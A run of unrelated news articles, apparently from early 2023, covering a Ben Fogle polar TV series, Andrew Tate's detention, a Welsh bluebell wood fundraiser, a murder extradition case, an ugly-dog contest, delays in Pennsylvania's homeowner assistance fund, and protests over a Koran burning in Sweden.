Ben Fogle will relive the Antarctic journeys of Captain Robert Falcon Scott, Sir Ernest Shackleton and Roald Amundsen as part of a new series. The TV explorer, 49, will have only the types of Edwardian equipment, food supplies and shelter which the three adventurers used as he documents his journey to the South Pole in Endurance: Race To The Pole on Channel 5. Above: Fogle in his traditional kit

Shackleton made several trips to Antarctica, first reaching within 400 miles of the South Pole in 1902, and he came even closer seven years later - just 97 miles from his goal - but had to turn back due to lack of food. Above: File photo of Sir Ernest Shackleton on board the 'Quest'

In 1915, after the success of Amundsen and Scott, Shackleton and his crew set out in the ship Endurance but were unable to reach land.

They became trapped in dense pack ice in the Weddell Sea, forcing the 28 men on board eventually to abandon ship.

They were stuck in the ice for around 10 months before escaping in lifeboats and on foot.

The Endurance was crushed by the ice and sank. Last March, after decades of searches for the wreck, it was found at a depth of 9,868 feet (3,008 metres).

Remarkable footage showed how it had been astonishingly well-preserved, with the name 'Endurance' still visible on the vessel's stern.

Captain Scott had led what was officially called the British Antarctic Expedition 1910 but was better known as the Terra Nova expedition.

His five-man party also included Lawrence Oates, Edgar Evans, Edward Wilson and Henry Bowers.

The team arrived at the South Pole on January 17, 1912 but found that Amundsen and his companions had gotten there first.

The Britons died during their return on the Ross Ice Shelf from a combination of exhaustion, starvation and extreme cold.

Evans passed away on February 17, 1912 and Scott, Wilson and Bowers died in their tent around March 29.

Eight months later, a search party found the tent, the bodies and Scott's diary.

In 1915, after the success of Amundsen and Scott, Shackleton and his crew set out in the ship Endurance but were unable to reach land. Pictured: a photograph of the vessel stuck in pack ice taken in the October of 1915, a few weeks before she sank

The members of Captain Scott's ill-fated expedition to the South Pole, (l to r) Laurence Oates, H.R. Bowers, Robert Scott, Edward Wilson and Edgar Evans. They reached the Pole a month after Roald Amundsen's Norwegian party, but all died on the return journey

Roald Amundsen (pictured in 1912), a Norwegian, got to the South Pole 35 days ahead of Scott's team

Members of Scott's expedition are seen standing in front of a tent during their journey to the South Pole

Three expedition members sit around a camping stove in the Ross Dependency of Antarctica, during Captain Robert Falcon Scott's Terra Nova Expedition to the Antarctic, February 7, 1911

Carrying an expedition crew of 28 men, the 144-foot-long Endurance was a three-masted schooner barque sturdily built for operations in polar waters. Pictured: the Endurance, stuck in pack ice, listing heavily to port

Endurance is seen stuck in the ice in the Weddell Sea during Shackleton's voyage

The vessel became stuck in pack ice on the Weddell Sea on January 18, 1915  where she and her crew would remain for many months. In late October, however, a drop in temperature from 42F to -14F saw the ice pack begin to steadily crush the Endurance  which finally sank on November 21, 1915. Pictured: Anglo-Irish sailor and explorer Frank Wild assessing the wreckage of the Endurance as it is crushed by tightening pack ice

Photo issued by Falklands Maritime Heritage Trust of the stern of the wreck of Endurance, Sir Ernest Shackleton's ship which had not been seen since it was crushed by the ice and sank in the Weddell Sea in 1915

Fogle, who said in an Instagram post this morning that he has just returned from the 'unforgettable' trip, said: 'This is a dream project for me.

'I have held a lifelong fascination with this period of heroic polar exploration and now I get the chance to experience immersive, living history myself by wearing the same clothes, eating the same type of food, pulling the same-style sled and sleeping in the same canvas tent.

'This will give me a better understanding about the heroics and the sacrifices made by these brave men more than a hundred years ago in one of the harshest most unforgiving places on earth.

'Having raced to the pole myself in 2008 wearing modern equipment, now I get to experience the harsh Antarctic wilderness as they did.'

In 2009, Fogle skied over 750km to the South Pole, and was beaten by a Norwegian team.

In the new three-part series, he will be accompanied by polar explorer Dwayne Fields as they take a look at Amundsen, Shackleton and Scott's contrasting expeditions.

The new 60-minute episodes also see Fogle and polar explorer Dwayne Fields face some 'physical and psychological real-life' experiences of the three men

The 60-minute episodes also see the two modern explorers face some 'physical and psychological real-life' experiences of the three men.

By focusing on what the series calls the 'character flaws, their bitter rivalries, and their fatal mistakes' it will reveal why Amundsen triumphed, and why Shackleton and Scott failed.

On the new series, Denise Seneviratne, commissioning editor of non-scripted UK originals at Channel 5 and Paramount+, said: 'We are thrilled to be continuing our relationship with Ben at Channel 5.

'This ambitious adventure will really push him to his limits and open up our understanding of the real heroics behind polar exploration, past and present.

'This series is immersive, experiential history which I think will really capture the imagination of our viewers.'
Andrew Tate is moaning about the conditions of his prison cell, and says it is crawling full of 'cockroaches, lice and bed bugs'.

The former kickboxer, who was arrested last month on suspicion of human trafficking, rape, and forming an organized crime group to exploit women, is also complaining that his cell also 'has no light'.

His whingeing message about his prison conditions came after the Romanian court ruled he must remain in jail for another month.

The 36-year-old sent the moaning message to followers of his website, titled 'My first email from imprisonment'.

He added that he would continue to send rambling emails, which the self-proclaimed misogynist called his 'daily lessons from unjust imprisonment'.

Andrew Tate has moaned about the conditions of his prison cell. Pictured: Tate is escorted by police after being detained in Bucharest, Romania, December 29, 2022

Andrew Tate sent an email to his subscribers where he complained about conditions in the prison

Tate complained: 'They are trying to break me. Thrown inside a cell without light.

'Cockroaches, lice, and bed bugs are my only friends at night.

'When the guards bring me to and from the courtroom, I stay absolutely respectful. They try to pour hatred into my heart.'

Tate also mentions the prison guards on multiple occasions, claiming they 'know I am innocent' and 'are just performing their job' as 'they have families to feed'.

Tate's Twitter feed has continued to post, although it is unclear if the Tweets are from him or one of his representatives.

He recently Tweeted that he is now allowed to receive mail, and encouraged his following to send him an email.

Tate has also continued his whining on Twitter, with one Tweet reading: 'In the darkened silence of solitary confinement there is almost no noise. Pray for me, I can hear you.'

He also claimed: 'every generation's great revolutionaries suffer from unfair imprisonment.'

Andrew Tate (left) and his brother Tristan (right) are pictured leaving the Court of Appeal, in Bucharest, Romania, January 10, 2023

Tate is accused of recruiting scores of women and holding them under house arrest while forcing them to create online pornographic content. Pictured: Tate on a private jet in an image posted to his social media

Tate - along with his younger brother Tristan, and two Romanian women, Luana Radu and Georgiana Naghel - was arrested last month and remanded in custody for 30 days. They deny any wrongdoing.

He is accused of recruiting scores of women and holding them under house arrest 'like prisoners' while forcing them to create online pornographic content on webcams.

Romanian prosecutors allege that Tate recruited the women on social media platforms and then lured them to his compound in Bucharest by falsely professing his love and intention to marry them.

Romania authorities seized 15 luxury cars from Tate's villa on the outskirts of the capital, as well as 14 designer watches, and cash worth an estimated 3.6 million euros (3.17 million).

The British-US citizen currently has 4.7 million followers on Twitter, having previously been banned from various social media platforms for expressing misogynistic views and hate speech.

Andrew Tate is led away by police, in the Ilfov area, north of Bucharest, Romania, Thursday, December 29, 2022

Andrew Tate (centre), and his brother Tristan Tate (second right) are escorted by Romanian police officers inside the Court of Appeal, Bucharest, Romania, January 10, 2023

Andrew Tate (third right) and his brother Tristan (second right) are brought by police officers to the Court of Appeal, Bucharest, Romania, January 10, 2023

The court in Bucharest has since extended his detainment until February 27.

Tate was furious over the decision and told his lawyers that he is 'being arrested for a crime of opinion'.

Constantin Ioan Gliga, one of the defence lawyers, told Romanian news outlet Gandul: 'We continue to maintain that practically at this moment the Tate brothers are being arrested for a crime of opinion, for what they said, at some point, in the online environment and not for what they actually did in their private lives.'

Gliga added that the decision was 'unjustified and totally exaggerated'.

The judge's ruling came after all four - Tate, Tristan, Luana Radu, and Georgiana Naghel - lost an appeal earlier this month at a Bucharest court, which ruled to uphold a judge's December 30 move to uphold an earlier decision to extend their arrest from 24 hours to 30 days.
After winning a fight to stop the destruction of their beloved bluebell woods, a group of villagers in South Wales are now hoping to raise 150,000 to buy the land.

In August, outraged residents from Gwent were forced to watch the 'shocking destruction' of their bluebell woods as workmen started tearing into the land to build a caravan site.

An investigation found the landowner wanted the woods for five touring caravans but had not applied for planning permission.

Protestors won the fight to stop the excavation works in Llanbradach, near Caerphilly in South Wales, and now want to buy the site themselves in order to safeguard its future.

The Bluebell Wood Preservation in Llanbradach, near Caerphilly in South Wales

Outraged Gwent residents saw their beloved bluebell woods torn into by workmen who were trying to make way for a caravan site

The 31-acres land is being put up for auction and neighbours are hoping to raise 150,000 to buy it.

Llanbradach councillor Colin Mann, of Plaid Cymru, said: 'People in the village are worried about what will happen in the future to our wonderful Bluebell Woods and fields.'

He said the fundraiser was started 'to ensure the land is preserved for future generations.'

Mr Mann also added: 'The money needed is a huge amount but if we can reach the target we can buy the land for the community.

'Any donations, however small, to help us reach our goal would be really appreciated.

The Gwent residents are now hoping to raise 150,000 to buy the land themselves in order to preserve it 'for future generations'

Members of the Gwent community protesting to try and protect their woodlands after it was found that the landowner destroying the woods for the caravan site had not applied for planning permission

'The village remains concerned about promises to restore the land. It should have been completed by now but we are still waiting.'

So far 4,340 has been raised on the Llanbradach's Bluebell Wood Preservation GoFundMe page.

Protesters have hailed the campaign as a success following the plans to restore the land.

Bluebells are protected in the UK under the Wildlife and Countryside Act 1981.

Beci Newton, who was one of the leaders of that protest, welcomed the work being stopped last year.

She said: 'Five generations of our family have enjoyed the annual bloom of the bluebells that reach down from the ancient woodland to the bottom of the field.

'Families come here to picnic, walk dogs, take photos and remember times gone by.

'Many have scattered the ashes of family here because it's a place that hold so many memories.'
A man accused of killing a young Australian woman while she was out walking her dog will be extradited from India to stand trial for her alleged murder.

A New Delhi court has approved the extradition of Rajwinder Singh to Australia to face a murder charge over the death of 24-year-old Toyah Cordingley.

The Cairns woman was found dead on Wangetti Beach in Far North Queensland in October 2018, with Singh allegedly fleeing to India just two days later.

After a four-year manhunt that saw the Queensland Police offer a $1million reward for information, the father-of-three will stand trial for the alleged murder.

The extradition order could be approved by the Ministry of External Affairs in just a few days time, or at the end of February at the latest.

The Australian government first applied for Singh's extradition in 2021, after the case sparked an outpouring of grief and anger across the country.

Rajwinder Singh, 38, was finally tracked down to a village in India and arrested in November. His extradition from India to Australia could be approved by the end of February

Toyah Cordingley (pictured) was just 24 when she was found dead in a shallow grave at Wangetti Beach in October 2018

Singh has a wife and three children in Australia, where his is a citizen. He boarded a flight to India two days after Ms Cordingley's body was found half-buried in the sand.

Australian police allege Singh stabbed Ms Cordingley to death on Wangetti Beach, north of Cairns, as she took a morning walk with her dog.

Ms Cordingley's father found his daughter in the sand, with her beloved dog tied up unharmed to a nearby tree.

Local Indian media report Singh allegedly told Delhi police he got into an argument with Ms Cordingley because her dog barked at him.

In November, Queensland police offered a $1million reward for information about the 24-year-old's death - the highest ever offered in the state's history.

Singh's arrest came a few weeks later, with Delhi Police shared a photo of the suspect, showing him sporting a turban and long white-streaked beard.

Toyah had driven to Wangetti Beach, north of Cairns, to walk her dog. She never returned home

Singh (pictured outside court in Delhi) this month entered a 'willingness statement' which means an Indian court accepted his desire to return to Australia and face trial

An Indian court has ruled Singh will be extradited to Australia to face trial

In another, he appears to hold the hands of two prison guards.

Singh told local reporters in Delhi that he will 'explain everything over there in Australia' and that he is keen to return as soon as possible.

Ajay Digpaul, the government's prosecuting counsel, previously told AAP: 'We will seek to ensure this case proceeds with maximum speed.'

The prosecution is 'very focused on this case,' Mr Digpaul said.

But Singh 'will have the right to appeal,' he added.
An 'aesthetically challenged' dog has been shortlisted for the UK's ugliest pooch award.

Emma Stephens, 46, decided to enter her one-year-old French bulldog Milo after joking: 'He's got the sort of face only a mother could love.'

Ms Stephens, from Cliffe Woods in Medway, Kent, said: 'When he wakes up from a particularly deep sleep his tongue is stuck out and he gets that sort of underbite look sometimes when he's relaxing.

'Just for a bit of fun we entered him into the contest because there aren't that many contests out there for dogs with quirks.

When Milo was around two to three weeks old, owner Emma Stephens noticed that his left eye was bulging and after taking him to the vets she found out he had a severe eye infection

The vets gave Milo antibiotics and his eye ended up imploding, which Ms Stephens described as 'horrific'

'You get competitions for pretty looking dogs but it's nice to celebrate the ones that are a bit challenged with their looks.

'We always laugh about him being a bit aesthetically challenged.'

Ms Stephens, who lives with her husband Barry and daughter Amber, rescues animals.

She took on Milo when her neighbour had an unwell pup in a litter.

She said: 'I kept him for a few days to make sure he was getting stronger before re-uniting him with his mum but when we put him back with his mum, we tried on several occasions, and he just wasn't thriving at all.

'He was at death's door so in the end we agreed to take him on and keep him, but over the next coming weeks it became apparent that he had other health issues.'

After losing his left eye as a puppy, vets then informed Ms Stephens that Milo had excess fluid in the brain after he started to lose the hair on the front of his head

Milo's owner jokes that he has got the sort of face 'only a mother could love' because of his underbite

When Milo was around two to three weeks old, she noticed that his left eye was bulging.

She took him to the vet as soon as it opened the next morning and was told he had a severe eye infection.

As he was a puppy he hadn't yet opened his eyes, leaving them sealed shut with bacteria trapped inside.

The vet tried to open the eye but was unable to. After giving him antibiotics his eye ended up imploding, which Ms Stephens described as 'horrific'.

The winner of the World's Ugliest Dog competition in 2022 Mr Happy Face, who was rescued by his owner Jeneda from a hoarder's house, looked confused after being awarded the prize Advertisement

She added: 'We nursed him through it, we had painkillers and medication, and came through it.

'But when he was around six-to-eight weeks old he started to lose the hair on the front of his head and looked a bit bulbous so we took him to the vets and it turned out he had hydrocephalus, which is fluid in the brain.

'The vet said it doesn't always have a very good prognosis, they can have seizures and all that sort of thing and they said I might want to consider putting him to sleep but for me that's never an option.

'I've nursed lots of animals in the past from the brink of death through all sorts of things that vets said to put them to sleep over and with lots of love, dedication and time it can be done.

'As long as they're doing okay and they've got the will to live, then I will go as far as they want to and luckily he fought through and made it.

'It's a wait and watch approach, he might be fine with it until the end of his days and live a good long life, nobody knows, but there are signs to look for if it does start to affect him.'

She doesn't think Milo is ugly - just 'ugly-cute'.

The one-year-old pup is now one of the finalists for the competition, hosted by Parrotprint.com.

If 1-year-old Milo wins the most 'aesthetically challenged' pooch challenge, created by Parrotprint.com, he will win a professional makeover

The most hideous in the country wins a professional makeover and photo session.

Among the 12 shortlisted pets is also Marnie the French Bulldog, Bella the Pug and Jazz the Brusston.

The winning pooch will be announced in February.

Ms Stephens added: 'We appreciate that he's not everyone's cup of tea but he's beautiful to us.

'I don't think any dog is truly ugly, they all have their loveable ways but I think it's nice for the underdog to be celebrated and have a title and a bit of a fuss as well.'
Spotlight PA is an independent, nonpartisan newsroom powered by The Philadelphia Inquirer in partnership with PennLive/The Patriot-News, TribLIVE/Pittsburgh Tribune-Review, and WITF Public Media. Sign up for our free newsletters.

Pauletta Fajinmi had been waiting for more than six months.

In April, she applied to a Pennsylvania program that promises to help homeowners recover from the financial impact of the pandemic.

After Fajinmis husband died of COVID-19, in the spring of 2021, she found herself responsible for more than $5,000 in late mortgage payments on the house they had lived in together.

She felt like she was living in survival mode. The stress and grief made her hair fall out in clumps. She checked online for updates on her application every day, sometimes twice a day.

It was a nightmare, Fajinmi recalled.

https://www.spotlightpa.org/embed.js

Starting in 2020, federal protections allowed most homeowners to temporarily stop making mortgage payments without risking foreclosure. But by the start of 2022, those protections had largely expired. Pennsylvania received $350 million in federal aid to help fill that gap, offering homeowners a chance to catch up on debt from mortgages, property taxes, utility bills and other housing costs.

Almost a year after it launched, however, the Pennsylvania Homeowner Assistance Fund is overwhelmed by demand, interviews and public records show. The fund frequently struggles to get the information it needs from mortgage companies, causing delays and complaints from increasingly desperate applicants who say they cannot get updates from program workers.

Wait times depend largely on how responsive mortgage companies are to PAHAFs requests to confirm how much someone owes, which can involve weeks or months of back-and-forth, administrators said. An application cannot move ahead until that information is provided.

By mid-December, more than 6,000 applications were in the final stage of approval, according to public data. Those people, mostly stuck in debt verification, had been waiting, on average, more than 6 months, said Mandy McIntyre, a PAHAF spokesperson.

Most applicants are not at risk of losing their homes while they wait, administrators and advocates said. In the majority of cases, federal rules require mortgage companies to pause foreclosure proceedings for 60 days once someone has applied to the program.

Still, in interviews with Spotlight PA, more than 20 applicants described how their initial hope curdled into anxiety, fear and exasperation during the long wait.

Two said their applications were delayed for months after they thought theyd been approved, with only vague explanations from program workers. Three waited months for help with ongoing mortgage payments, only to be denied because of a requirement that was not advertised online when they applied. Four said their water or electricity was shut off while they waited for help catching up on utility bills.

This program is not what you promised and absolutely not what the applicants thought they were getting into, someone complained in an email to Democratic Gov. Tom Wolfs office in October.

In an interview, administrators acknowledged there have been problems, but stressed they are making changes to speed up the process.

We hear these things and we are always working to make improvements  and most of all to complete the mission of the program, which is to keep people in their homes, said Kelly Wilson, a senior official at the Pennsylvania Housing Finance Agency, which oversees the program run by contractor Innovative Emergency Management Inc.

After almost a year, Pennsylvania has only paid out about one-quarter of the funding available, public data show. (Pennsylvanias rate of spending through the first six months was similar to those of other states, according to federal data.)

Fajinmis application was finally approved in November, more than six months after she began the process. The program contacted her mortgage company July 1, but did not receive the required information until Nov. 7, McIntyre said. Even after the payment was made, Fajinmi said it took her bank more than a month to apply it to her account because the bank claimed it needed more information from PAHAF, adding weeks of extra worry.

Thousands of other applicants are still waiting. Every few weeks, they receive the same email: Due to an extremely high number of applications received, current processing times are slower than expected. We apologize for the wait times you may be experiencing and are working to resolve these issues.

Rooftops of homes in Blair County.

We should have been foreclosing by now

For PAHAF administrators, the most time-consuming part of the process is also one of the most crucial: confirming with someones mortgage company how much they owe.

But mortgage companies  often overwhelmed, short-staffed and juggling requests from multiple states running their own assistance efforts  do not always respond promptly to the programs inquiries, leaving thousands of applications in limbo.

One homeowner complained to PAHAF in July that their application seemed to be in a black hole, according to Facebook messages obtained by Spotlight PA through an open records request. The problem, a program worker replied, was the applicants mortgage company, Mr. Cooper, one of the largest in the U.S. Weve had a lot of trouble getting responses back from them.

The program was waiting for Mr. Cooper to provide information for almost 500 customers, the PAHAF worker said  the most outstanding requests of any company. In a statement, a Mr. Cooper spokesperson said the company continues to work closely with the program to provide the required information and resolve discrepancies.

PAHAF sends participating companies weekly reports on pending applications, and officials have weekly phone calls with the companies that have the largest backlogs, McIntyre said. The companies have a strong incentive to work with the program: They stand to receive thousands of dollars per applicant. Still, some have told administrators they simply do not have the bandwidth or processes in place to keep up, McIntyre told one applicant via email in October.

The delays  multiplied across hundreds of companies and thousands of applications  have caused the program to fall short of its internal goal to get assistance to homeowners within two months. It typically takes longer than that just to confirm how much someone owes, McIntyre said.

Between February 2022, when PAHAF launched, and late December, the average wait time was roughly 4 1/2 months, she said. (This does not account for people seeking ongoing mortgage help.)

The prolonged back-and-forth leaves some applicants feeling as if they are playing a high-stakes game of telephone, relaying information from their mortgage company to the program and vice versa.

Ive gone above and beyond to provide relevant info and to keep everyone informed, but I do have a full time job, one applicant wrote in a Facebook message to the program in June. I sincerely dont have the bandwidth to be on the phone [with the program and the bank] almost everyday.

One woman, who asked not to be named to protect her familys privacy, told PAHAF via Facebook Messenger in April that her lender accused her of making the program up. The company told her they hadnt heard from the program in weeks; program workers told her the company wasnt giving them the information they needed.

The problem, public records show, was a minor mistake she had made on a crucial form, which program workers failed to catch. For weeks, they had been contacting the wrong company  United Federal Credit Union instead of The United Federal Credit Union.

Even after the confusion was resolved, however, an official at the credit union told the woman that the company was not hearing back from PAHAF. I dont even know who to talk to up there anymore? the credit union worker said in an email. By this point, the woman was almost five months behind on the mortgage. We should have been foreclosing by now, he warned. (The credit union declined to comment.)

Another two weeks passed. An administrator apologized for the constant delays, telling the woman: We are aware of a multitude of program/systems/process issues and are dedicated to fixing.

Another three weeks. Her credit score dropped 160 points. The program reassured her that foreclosure proceedings were on hold, but her anxiety spiked when she received a notice from her lender with bold type reading: Save Your Home From Foreclosure.

I deeply apologize for how difficult this has been, the PAHAF official told her.

Another snag came two days later. Despite months of phone calls and emails from the program, her lender still had not signed a formal agreement to take part. The company finally received the payment in mid-July, more than six months after she first applied.

A PAHAF official followed up on Facebook to apologize again, saying that the delays and challenges in her case had been flagged with top management as an example of the need for changes. In a statement, McIntyre said administrators changed their process to prevent similar holdups and that the womans failure to promptly return a key document contributed to some of the delays.

By August, the woman had another problem: After waiting weeks for help with her water bill, her service had been shut off. The timing was awful. It was the week before school started, and her four boys couldnt shower. She had to use her food stamps to buy water to cook and flush the toilet.

Despite several requests from the program to participate, including a phone call in early August, her local water authority insisted that it could not agree to take part without approval from its board. The womans water was turned off in the 11-day period between that phone call and the next scheduled board meeting.

The board later voted to participate, and after a few days with no water, the womans service was restored. Some other homeowners had to wait longer.

Pennsylvania received $350 million in federal aid for mortgage relief. The Pennsylvania Homeowner Assistance Fund opened in February 2022.

The power has been off now all week

While mortgage companies are mostly required to pause the foreclosure process after someone applies to PAHAF, no similar restrictions exist for utility companies.

McIntyre said the program strives to prevent applicants utilities from being shut off, but companies are not legally obliged to comply with those requests. The program urges applicants who receive shut-off warnings to share them so their cases can be fast-tracked  an instruction that doesnt always help.

In July, about four months after he first applied, Aaron Sim received warning that his power would soon be turned off because of his overdue balance of $833.

Sim sent a copy of his bill, which included a warning about the termination, to his caseworker. A few days later, he woke to a house that was oddly quiet. The whirring of the air conditioner was gone. It was one of the hottest weeks of the year, and inside it was sweltering, Sim said. The fridge and freezer were full of groceries that had to be thrown out; he lived off canned beets, tinned ravioli and bread with peanut butter.

Sim sent the shut-off notice to the program the day he received it, but he said he didnt hear anything back.

Several days later, he tried again, writing in an email: Im sorry to gripe but the power has been off now all week and Im starting to develop some issues with trying to sleep, the heat, and not being able to use my cpap breathing machine.

About a week later, Sim scraped together enough money to enter a payment agreement and turn the electricity back on. But he was $182 behind on his water bill as well. Hed already sent the program the notice warning that his service would be disconnected.

Nonetheless, in September, the water was turned off. To prepare, hed filled gallon jugs of water, which he poured over himself in the shower.

In a statement, McIntyre said that despite multiple reminders, Sim didnt return a form PAHAF needed in order to contact his power company; Sim disputed this. McIntyre said the program asked Sims water company to postpone the shut-off, but was unsuccessful.

Its unclear how many homeowners have had their utilities terminated while waiting for help. In some cases, applicants complained that their gas or electricity had been turned off for weeks or even months, according to documents obtained by Spotlight PA through Right-to-Know requests.

In October, a PAHAF supervisor emailed several colleagues about an applicant who had been without power for more than a month. The applicant told workers that the shut-off had left her without heat or hot water, and that raw sewage was backing up in her basement. Can we expedite this review please! the supervisor asked. McIntyre declined to comment on this example specifically, but said that in a number of cases, applicants only told the program after their utilities had already been disconnected.

https://www.spotlightpa.org/embed.js

State officials wanted to avoid this: One of the programs goals is to prevent people from having their utilities shut off in the first place.

In May, administrators more than doubled the maximum amount homeowners could receive in utility aid and scrapped a requirement that was slowing down approvals, a memo shows.

Demand for utility assistance was much higher than anticipated, they noted, and utility companies could disconnect someones service in a tight timeframe, leaving the program with only a narrow window to prevent shut-offs.

For months, PAHAF tried to help applicants with pending shut-offs by confirming to their utility companies that they had applied. But five major utility companies told Spotlight PA that would not be enough to postpone a shut-off  the utilities would need a pledge of payment for a specific amount. McIntyre said the program had success preventing shut-offs with these utilities. Nonetheless, in late September, the program began providing payment pledges, as well.

Another policy also complicated the programs efforts to prevent shut-offs.

When applicants sought help with housing expenses like utility bills as well as their mortgage, the utility aid would not be provided until the mortgage debt had been dealt with. This meant that some requests for utility assistance were left on hold for months, causing people to fall further behind.

Officials said the rule ensured that applicants requests for help with other housing costs did not jeopardize their chances of receiving mortgage assistance by putting them over the programs per-household cap, originally $30,000.

It was a conscious decision trying to make sure that the most important aspect was taken care of, said Wilson, the senior official at the Pennsylvania Housing Finance Agency.

Three applicants who waited months for help with utilities or property taxes told Spotlight PA they did not know these requests could not move forward until their mortgage aid was approved. If program workers had made this clear, they said, they would have made different financial decisions. In a statement, McIntyre said that staff explain the policy to each and every applicant, but acknowledged that not knowing about it became an issue for some applicants.

Wilson said the policy did not make it harder for the program to prevent utility shut-offs. If someone is at risk of having their utilities disconnected, she said, it pushes everything to the front, and PAHAF intervenes as soon as possible. Still, some applicants found they could not rely on those interventions, and ended up further in debt or behind on other bills in order to keep their utilities on, records show.

Keisha Welsh applied in March, hoping for help with her gas bill. By May, she was more than $1,000 behind. In September, she received a notice warning that her gas would be shut off unless she caught up.

She sent the notice to a caseworker and was assured that her application would be rushed. But a week later, with no updates and time running out, Welsh said she accepted the payment plan offered by her gas company, which required a $600 down payment  money the programs rules say cannot be reimbursed  and left her unable to make her car payment that month.

In a statement about Welshs case, McIntyre said that many applicants receive warnings that they may be at risk of shutoff and that applicants who are further along in the shut-off process, or whose service has already been terminated, must take priority.

Welsh told program workers, via Facebook and email, that entering the payment plan would leave her with $175 until her next paycheck.

Alexis VanBurens application was approved in August, but was delayed another three months after her mortgage company needed to update some of the information it had provided.

Its like there is nothing they can tell me

On top of the delays, applicants have consistently complained about a lack of communication from PAHAF, according to interviews and public records.

Every time I call, its like there is nothing they can tell me, one applicant wrote in a Facebook message to the program in July.

I dont know what to do at this point since I cant get through to anyone, another applicant said in September.

We are desperate, as are all who have applied, and beginning to think it is all a hoax, came another complaint in October.

Applicants told Spotlight PA that their assigned caseworkers stopped responding to them and missed scheduled appointments to call, that they were bounced from one worker to another, and that the programs call center only provided generic updates. The communication problems, they said, heightened the stress of the long wait.

When Sandi Zembrowski received a grant agreement for her late mortgage payments, she immediately signed it electronically. A confirmation email arrived moments later.

Then, months passed and her bank didnt get the money. Zembrowski tried to find out what had happened, but said her caseworker missed appointments to call her and stopped responding to emails. She kept ringing the call center but said she couldnt get a straight answer about where things stood. Its just unacceptable, she said in November, still without answers or payments.

https://www.spotlightpa.org/embed.js

In response to Spotlight PAs questions, McIntyre said Zembrowski did not sign the grant agreement using the required software, DocuSign. But Zembrowskis copy of the agreement shows that she did. Zembrowski said no one from PAHAF ever raised this issue with her; the first she learned of it was from a Spotlight PA reporter.

McIntyre declined to elaborate when asked about the apparent DocuSign discrepancy and disagreed that Zembrowski had difficulty reaching her caseworker. But in an interview and written responses to Spotlight PA, she acknowledged broader problems with the programs communication with applicants, and said administrators were working to address them.

For months, the PAHAF website also failed to tell applicants seeking ongoing mortgage assistance that they had to meet additional income requirements to qualify. Officials said the policy was internally implemented in February, when the program launched, but was not added to the website until May, after applicants raised the issue. The policy only affected about 50 applicants out of thousands through September 2022, according to a state report, but some said they felt blindsided when they learned they were not eligible for the extra help based on a requirement they had not known about.

McIntyre emphasized that the program has made changes in response to applicants feedback. In September, the program introduced a form allowing people at risk of having their utilities shut off to prioritize other types of assistance over mortgage aid, in an attempt to reduce wait times. Starting in October, applicants no longer had to sign and return grant agreements; instead, the money could be paid out with no further action required on their part. And in November, the total amount of assistance homeowners can receive was increased from $30,000 to $50,000. Housing advocates had pushed for a higher cap since before the program launched.

When Alexis VanBurens application for mortgage assistance was approved in late August, she thought the wait was almost over. By October, the money still hadnt been paid. Her mind ran in circles. What could be taking so long? Its like playing Russian roulette, she said.

VanBurens mortgage company needed to change several small details in the information it gave to the program, McIntyre said. By the time these were resolved, the original grant agreement had expired, which meant PAHAF had to start the process of confirming how much VanBuren owed all over again.

In December, VanBuren was relieved to learn that her mortgage company had finally received the money. While waiting, she had watched her grandson start the fourth grade, broken both her arms in a car accident, and recovered enough to go back to work. It had been more than nine months.

WHILE YOURE HERE If you learned something from this story, pay it forward and become a member of Spotlight PA so someone else can in the future at spotlightpa.org/donate. Spotlight PA is funded by foundations and readers like you who are committed to accountability journalism that gets results.

How Spotlight PA reported this story

Spotlight PA spoke to more than 20 people who had applied to the Pennsylvania Homeowner Assistance Fund, many of whom shared emails, text messages, program records, mortgage statements, and utility bills to help document their experience. We also spoke to attorneys, advocates, and housing counselors.

All of the homeowners who are quoted by name, or whose experience is discussed at length, signed releases giving the program permission to respond to Spotlight PAs questions about their experiences.

To ensure program administrators could respond in detail, Spotlight PA shared several rounds of written questions and summaries of applicants experiences. Program officials provided several detailed written responses and spoke with a reporter in an hour-long interview.

Spotlight PA also reviewed hundreds of pages of records obtained under the states Right-to-Know law, including Facebook messages between applicants and administrators, a weeks worth of emails to the programs customer service inbox, and emails and summaries of phone calls about the program received by Gov. Tom Wolfs office over the course of 2022.
Tensions grow as Turkish demands mount during Swedish bid to join NATO

Protests across Muslim world saw Swedish flags burned after anti-Islamic stunt

Far right leaders in Sweden and the Netherlands destroyed Korans last weekend

The Muslim world has erupted into protest demanding the closure of Swedish embassies after Sweden issued the permit for a far-right politician to burn the Koran at a rally.

Swedish-Danish politician Rasmus Paludan on Saturday set fire to a copy of the Islamic holy book in front of Turkey's embassy in the Swedish capital, stoking the anger of Turkey which then said it would not support the Scandinavian country's bid for NATO membership.

Indonesia and Turkey both soon summoned their Swedish envoys following the book burning.

Protests have been held since then in a number of Muslim countries, and on Tuesday crowds of Afghan men condemned the incident in Khost, a city bordering Pakistan.

Palestinian teachers and schoolgirls burning a Sweden flag during a protest against the burning of the Koran in Gaza City

Iraqis shout slogans during a demonstration by the Swedish embassy in Baghdad on Monday

'Death to the Swedish government, death to such politicians,' chanted protesters in the city's main square, an AFP correspondent reported.

In a statement released on Sunday, Afghanistan's foreign ministry called for the Swedish government 'to punish the perpetrator' and to stop 'such vile and provocative anti-Islamic and anti-Muslim acts'.

Similar outrage was felt in Pakistan, with protestors rallying in the northeastern city of

In Yemen, thousands gathered yesterday in Sanaa in protest of the Koran burning in Stockholm.

Soldiers were pictured standing guard as protestors called for the boycotting of Swedish companies.

Yemenis were also pictured burning flags of the United States and Israel.

Elsewhere, an Iraqi policeman and seven protesters were injured on Monday during a rally of dozens outside the Swedish embassy in Baghdad.

Protestors were seen with a sign reading, 'We demand the closure of the Swedish embassy in Baghdad.'

In Palestine, teachers and students burned Swedish flags and held up copies of the Koran in protest of Paludan's actions.

Palestinian teachers and students from Al-Jalil School protest against the burning of a Koran

Yemenis burn a US flag during a protest against the burning of the Koran in Sweden

Yemenis burn an Israeli flag during a protest against the burning of the Koran by a Swedish politician, in Sana'a, Yemen, on Monday 23 January.

A group protesting the burning of the Koran by Rasmus Paludan, the leader of the Danish far-right Stram Kurs party, held a protest in front of the Swedish Consulate in Istanbul on Sunday

Turkish President Recep Tayyip Erdogan said on Monday that Sweden could no longer expect support for its NATO membership bid following its decision to grant Paludan a permit to burn the Koran.

Relations between Sweden and Turkey have soured as the former seeks Turkish support for its NATO membership bid.

Sweden and Finland have sought to join NATO since the Russian invasion of Ukraine, but their bids must be approved by all 30 NATO member states.

Both still rely on votes from Turkey and Hungary, which Hungarian Prime Minister Viktor Orban has promised to deliver in 2023.

Erdogan's warning prompted Finland, which applied to join NATO together with its Nordic neighbour, to say for the first time that it might consider joining without Sweden yesterday.

